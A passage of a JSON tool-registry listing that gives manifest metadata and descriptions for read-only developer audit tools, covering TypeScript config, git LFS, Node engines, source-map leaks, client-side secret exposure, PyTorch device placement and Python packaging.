dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-typescript-compiler","job-tsconfig-grader","tool-type-safety-auditor","audience-developers","effect-read-only"],"primary_domain":"domain-typescript-compiler","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:22.840788+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6960,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["compiler_options_extractor","strict_flags_matrix_scorer","recommended_tsconfig_generator","module_resolution_modernity_evaluator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to tsconfig.json, directory, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d3ce0374666b5c29e77e940d66190eae81d603027c7bc3a17760dbf6e4903a34","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/git-lfs-hygiene-bench@0.1.0","reference":"ameykaulavkar/git-lfs-hygiene-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/git-lfs-hygiene-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/git-lfs-hygiene-bench@0.1.0","name":"git-lfs-hygiene-bench","title":"git-lfs-hygiene-bench","description":"Git Large File Storage (LFS) auditor and repository bloat benchmark. Identifies large binary files committed as raw git objects (>5MB), audits .gitattributes tracking filters, calculates developer clone bandwidth overhead, and generates git-lfs migration recipes with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-git-hygiene","job-lfs-auditor","tool-bloat-calculator","audience-developers","effect-read-only"],"primary_domain":"domain-git-hygiene","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:20.6713+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4939,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["large_binary_scanner","git_lfs_migrate_recipe","gitattributes_lfs_auditor","repo_bloat_cost_calculator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to git repository root, directory, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c94adbfdc098c5b6119722379f0c46d13b758519bd219ba38f9adc2a13765df5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/node-engine-guard@0.1.0","reference":"ameykaulavkar/node-engine-guard@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/node-engine-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/node-engine-guard@0.1.0","name":"node-engine-guard","title":"node-engine-guard","description":"Node.js runtime engine and package manager sync auditor. Audits package.json engines, verifies version synchronization across .nvmrc and .node-version, checks OpenJS LTS lifecycle support windows, and outputs engine-strict enforcement recipes with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-node-runtime","job-engine-auditor","tool-node-guard","audience-developers","effect-read-only"],"primary_domain":"domain-node-runtime","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:18.795605+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4840,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["engine_strict_advisor","engine_field_extractor","nvmrc_volta_sync_checker","lts_support_window_evaluator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to repository root or package.json, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c957001299f199d0927ef2ca8a406a2743a22a7218f7e0b8e2d3fac7c51dd94f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/source-map-leak-detector@0.1.0","reference":"ameykaulavkar/source-map-leak-detector@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/source-map-leak-detector@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/source-map-leak-detector@0.1.0","name":"source-map-leak-detector","title":"source-map-leak-detector","description":"Public source map exposure scanner and proprietary code leak detector. Scans production JS/CSS bundles for sourceMappingURL annotations, verifies public accessibility of .map files, extracts leaked TypeScript/JSX source trees, and generates secure build configurations with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-security","job-sourcemap-scanner","tool-leak-detector","audience-developers","effect-read-only"],"primary_domain":"domain-web-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:16.617838+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4975,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["map_file_resolver","source_content_extractor","sourcemap_hygiene_advisor","sourcemap_comment_detector"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"URL or local path to JS/CSS bundle or source map, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d8ad623f4597094c646528d94c94e4c6ae66dbd8ba9f2ec1e83a2ad7f9456d6f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/monorepo-dep-graph@0.1.0","reference":"ameykaulavkar/monorepo-dep-graph@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/monorepo-dep-graph@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/monorepo-dep-graph@0.1.0","name":"monorepo-dep-graph","title":"monorepo-dep-graph","description":"Monorepo dependency graph analyzer and circular reference detector. Discovers internal package inter-dependencies across pnpm/npm/Turborepo workspaces, identifies cyclic dependency deadlocks with Tarjan DFS, and outputs optimal topological build execution waves with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-monorepo-tooling","job-dep-graph-analyzer","tool-cycle-detector","audience-developers","effect-read-only"],"primary_domain":"domain-monorepo-tooling","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:14.422178+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8084,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["workspace_package_indexer","internal_dependency_grapher","topological_build_scheduler","circular_dependency_detector"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to monorepo root directory, workspace JSON file, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:faea8622aedb94e17b5c1d0868efd1e82ff1f3974ff82e0649e09ec97fef3802","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/k8s-pod-disruption-guard@0.1.0","reference":"ameykaulavkar/k8s-pod-disruption-guard@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/k8s-pod-disruption-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/k8s-pod-disruption-guard@0.1.0","name":"k8s-pod-disruption-guard","title":"k8s-pod-disruption-guard","description":"Kubernetes PodDisruptionBudget (PDB) coverage analyzer and node drain deadlock detector. Identifies critical multi-replica deployments missing PDB coverage, flags lethal minAvailable/maxUnavailable deadlock settings that freeze cluster node upgrades, and generates turnkey policy/v1 PDB manifests with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-kubernetes-devops","job-k8s-pdb-auditor","tool-cluster-resilience","audience-platform-engineers","effect-read-only"],"primary_domain":"domain-kubernetes-devops","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:06.757284+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8403,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["k8s_manifest_parser","pdb_spec_recommender","pdb_coverage_analyzer","drain_deadlock_detector"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to Kubernetes YAML manifest, helm template output, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5050ab4c07bdc84f08aec4511b12bc6e9a58e290db38d4a86746224172914aad","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/typing-erosion@1.0.0","reference":"lgoyal6/typing-erosion@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/typing-erosion@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/typing-erosion@1.0.0","name":"typing-erosion","title":"typing-erosion","description":"Coverage percentages over every function answer the wrong question. Nobody downstream calls your internal helper; they call the names your package re-exports, and those are the signatures their type checker sees. A library can sit at 90 percent coverage and be useless to a typed consumer because the missing 10 percent is the public surface. This reads the export surface - `__all__`, and the names each package __init__.py binds - resolves every exported name to the module that DEFINES it, and judges only those: no annotations at all, `-> Any` or an `Any` parameter, a partially annotated signature, and bare `# type: ignore` with no error code. Findings inside a package that ships py.typed rank first, because that file is a promise to every downstream checker. A private helper, an unexported name, an @overload implementation, a module with a .pyi stub, `self`, a coded ignore, and test files are excluded and counted. Read-only, offline. Needs python3, bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-public-api-type-audit","tool-static-analysis","tool-python","tool-mypy","effect-read-only","type-annotations","public-api","py-typed","pep-561","type-ignore","any-type","python","ast","audience-developers","audience-library-authors","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:55:03.865667+00:00","visibility":"public","quality_score":1,"size_bytes":28411,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the Python tree to read. A relative path is REFUSED, because a step runs in rote's own workspace rather than your shell directory, so a relative root would scan rote's workspace, find no Python, and report a confident clean about a tree nobody asked about.","example":"/Users/you/mylibrary"},{"name":"depth","type":"string","required":false,"default":"12","description":"How many directory levels below root find(1) descends.","example":"12"},{"name":"top","type":"string","required":false,"default":"20","description":"How many eroded exports to print per severity before the rest are summarised as a count. Every one is always COUNTED; this only bounds the listing.","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:51e99eee45df91bcf751d6336f411c5f886a296e4ea477342e0450eca5742767","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/agastya/fumi@0.2.0","reference":"agastya/fumi@0.2.0","uri":"https://play.modiqo.ai/agastya/fumi@0.2.0","manifest_uri":"https://play.modiqo.ai/agastya/fumi@0.2.0","name":"fumi","title":"fumi","description":"Verifies API options against provider pages, forecasts free-tier fit, and creates a safe integration plan for your project.","owner":{"kind":"user","slug":"agastya"},"registry_organization":"agastya","tags":["api","research","free-tier","integration","cost-forecast","project-analysis","typescript"],"primary_domain":"domain-uncategorized","author":"agastya","version":"0.2.0","published_at":"2026-09-06T05:51:08.037587+00:00","visibility":"public","quality_score":0.875,"size_bytes":7511,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["safe_live_test","inspect_project","discover_candidates","select_candidate_pages","retrieve_official_pages"]},"parameters":[{"name":"need","type":"string","required":true,"description":"Capability to find, for example transactional email, OCR, maps, weather, storage, or an LLM API."},{"name":"repo_path","type":"string","required":false,"default":"","description":"Optional absolute path to a local project. Fumi only reads common project manifests."},{"name":"stack_hint","type":"string","required":false,"default":"","description":"Optional stack details when no local repository is supplied."},{"name":"country","type":"string","required":false,"default":"","description":"Country or region to consider, such as India. Missing evidence is reported rather than guessed."},{"name":"constraints","type":"string","required":false,"default":"free tier, no credit card preferred, official SDK preferred","description":"Requirements used for discovery and scoring."},{"name":"max_candidates","type":"string","required":false,"default":"5","description":"Maximum providers to retrieve and evaluate, from 1 to 8."},{"name":"expected_monthly_requests","type":"string","required":false,"default":"0","description":"Expected monthly requests. Zero means no usage forecast is requested."},{"name":"integration_target","type":"string","required":false,"default":"server","description":"Integration location to plan for: server, edge, worker, or backend."},{"name":"evidence_max_age_days","type":"string","required":false,"default":"7","description":"Freshness window for returned evidence. Re-run after this period."},{"name":"keyless_test_url","type":"string","required":false,"default":"","description":"Optional explicit HTTPS endpoint documented as keyless. Fumi never guesses this URL."},{"name":"run_keyless_test","type":"boolean","required":false,"default":false,"description":"When true, fetch keyless_test_url through Exa. No provider credentials are sent."}],"execution":{"adapters":[{"id":"agastya/exa-search","name":"exa-search","version":null,"credential_status":"none"},{"id":"exa-search","name":"exa-search","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2e8c0054f43123393f49b48bfb90a4d9f8502ba1007228824306e86ce8bfbdb8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":3,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":4,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"exa-search","steps":3,"methods":["getContents","search"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"agastya/exa-search","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/lgoyal6/random-seed-discipline@1.0.0","reference":"lgoyal6/random-seed-discipline@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/random-seed-discipline@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/random-seed-discipline@1.0.0","name":"random-seed-discipline","title":"random-seed-discipline","description":"A result you cannot reproduce is a result you cannot defend. This reads Python with ast - never imports torch or numpy, never runs anything - and reports which random-number libraries a file SEEDS, which it DRAWS from, and the gap: a seed set after the first draw, so the values already taken came from nowhere; a file that seeds one library and draws from another; a DataLoader forking workers with no worker_init_fn and no generator, so every worker repeats the same augmentation; and determinism claimed while cudnn.benchmark is on or a documented nondeterministic op is called. Most of the value is what it refuses to say. torch.manual_seed already seeds CUDA. A Generator given its own seed ignores global state. A library module that draws and never seeds is not undisciplined - seeding is its caller's job, and that gate is where the precision comes from. Each exclusion is named and counted.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-ml-code-audit","tool-static-analysis","effect-read-only","random-seed-discipline","reproducibility","determinism","pytorch","numpy","dataloader","machine-learning","python","audience-developers","audience-ml-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:48:50.559448+00:00","visibility":"public","quality_score":1,"size_bytes":27614,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for Python files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4772e7fdb97c8209640f56ac673d5f7c4eb40c6c3a8289d280a120447d54acfc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/entrypoint-drift@1.0.1","reference":"lgoyal6/entrypoint-drift@1.0.1","uri":"https://play.modiqo.ai/lgoyal6/entrypoint-drift@1.0.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/entrypoint-drift@1.0.1","name":"entrypoint-drift","title":"entrypoint-drift","description":"A broken console script installs perfectly. The wheel is valid, the shim lands on PATH, and nothing fails until somebody types the command and gets an ImportError out of a stub nobody wrote - because the declaration and the code it names live in different files, so a rename that moves main() out of cli.py breaks the command without touching anything a test imports. This resolves every console_scripts, gui_scripts, project.entry-points, poetry script and plugin registration in pyproject.toml, setup.cfg and setup.py against the files actually in the tree, and checks every `python -m` command a README, Makefile, Dockerfile or CI job promises. A target whose top-level package this project does not contain is UNRESOLVED, never broken: registering into another library group is correct and routine. A star import or a module __getattr__ downgrades to REVIEW rather than a guess. setup.py is parsed, never executed. Read-only, offline. Needs python3, bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","packaging-workflows","job-entry-point-resolution-audit","tool-static-analysis","tool-python","tool-pip","effect-read-only","entry-points","console-scripts","packaging","pyproject-toml","setup-py","setup-cfg","poetry","python","cli","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.1","published_at":"2026-09-06T05:47:05.846298+00:00","visibility":"public","quality_score":1,"size_bytes":29062,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for Python projects. A relative path is REFUSED, because a step runs in rote's own workspace rather than your shell directory, so a relative root would scan rote's workspace, find no packaging, and report a confident clean about a tree nobody asked about.","example":"/Users/you/myservice"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to look for a pyproject.toml, setup.py or setup.cfg, so a directory of repositories is checked repository by repository.","example":"6"},{"name":"top","type":"string","required":false,"default":"20","description":"How many entry points to print per severity before the rest are summarised as a count. Every one is always COUNTED; this only bounds the listing.","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fc5a53ee81e5f921ef256525a4d687d102013dab4922b425a94ce6bb6bebff6f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":10,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/client-secret-exposure@0.1.0","reference":"lgoyal6/client-secret-exposure@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/client-secret-exposure@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/client-secret-exposure@0.1.0","name":"client-secret-exposure","title":"client-secret-exposure","description":"Answers one question about a web app: which credentials end up in the JavaScript every visitor downloads? Four ways it happens, all four reported - a credential-named variable behind a build-time public prefix (NEXT_PUBLIC_, VITE_, REACT_APP_, GATSBY_, PUBLIC_), a server-only variable read inside a `use client` module, a credential-named field in a file under public/ or static/ that a web server hands out at a URL, and an API key written as a literal in JSX. The judgement comes from the variable NAME and the build rule for its prefix, NEVER from the value's shape: a shape detector reports every synthetic fixture as a live leak and misses the credential that does not look like one. NO VALUE IS EVER PRINTED. Names are compared as whole tokens, so MONKEY_ISLAND holds no key and SECRETARY_EMAIL no secret. A Stripe publishable key, a Supabase anon key, a reCAPTCHA site key and a Sentry DSN are excluded with the reason said out loud. Read-only, offline, nothing built or executed.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","domain-web","job-secret-hygiene","tool-shell","effect-read-only","client-bundle","env-vars","next-public","vite","create-react-app","secret-exposure","api-keys","use-client","static-assets","frontend","bundler","audience-frontend-developers","audience-security","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:44:31.593063+00:00","visibility":"public","quality_score":1,"size_bytes":42261,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to scan. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would scan the wrong tree and then report a confident clean bill of health about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-web-app"},{"name":"depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to search for source, env and statically served files.","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9864b1d084b643675971e60bcb29f85dc647cd3e1e8568bb0373c4c90e7070ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/tensor-device-mismatch@1.0.0","reference":"lgoyal6/tensor-device-mismatch@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/tensor-device-mismatch@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/tensor-device-mismatch@1.0.0","name":"tensor-device-mismatch","title":"tensor-device-mismatch","description":"A tensor on the wrong device is a crash on someone else's machine: your CPU box runs it, the box with the GPU raises \"Expected all tensors to be on the same device\". This reads PyTorch source with Python's ast - never imports torch, never runs anything - and reports four shapes, ranked: a host tensor combined with a moved one inside one function; a plain self.x = torch.zeros(...) in an nn.Module, which .to() never moves because it walks _parameters and _buffers only; a device-less factory in a function that handles devices everywhere else; and a hardcoded cuda beside a device variable. Most of the value is what it refuses to say. zeros_like inherits its device. .to(torch.float16) is a dtype cast, not a move. with torch.device(x) covers its whole block. device=x.device is x's device. from_numpy takes no device at all. Pinned memory is host memory. Each is excluded, named and counted.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-ml-code-audit","tool-static-analysis","effect-read-only","tensor-device-mismatch","pytorch","cuda","gpu","register-buffer","device-placement","machine-learning","python","audience-developers","audience-ml-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:41:13.858604+00:00","visibility":"public","quality_score":1,"size_bytes":31829,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for Python files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2cbfeb7e694d31d2aaa06ef790abbf44f8dbc41f8c8d16a72285311e0688253","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/import-time-cost@1.0.0","reference":"lgoyal6/import-time-cost@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/import-time-cost@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/import-time-cost@1.0.0","name":"import-time-cost","title":"import-time-cost","description":"Some Python module reads a config file, shells out to git, calls an API or loads a model at module scope. It works, and from then on every importer pays for it - including `--help`, a shell completion, and every test collection, once per worker, before a single assertion runs. This finds the modules that do real work while their body executes and says how far the bill travels: how many files in the tree import each one, resolved through the real package layout rather than by matching names. Ranked by cost - a network call, a subprocess, a sleep or a model load first, a filesystem touch next, a large table built by a loop last. A call 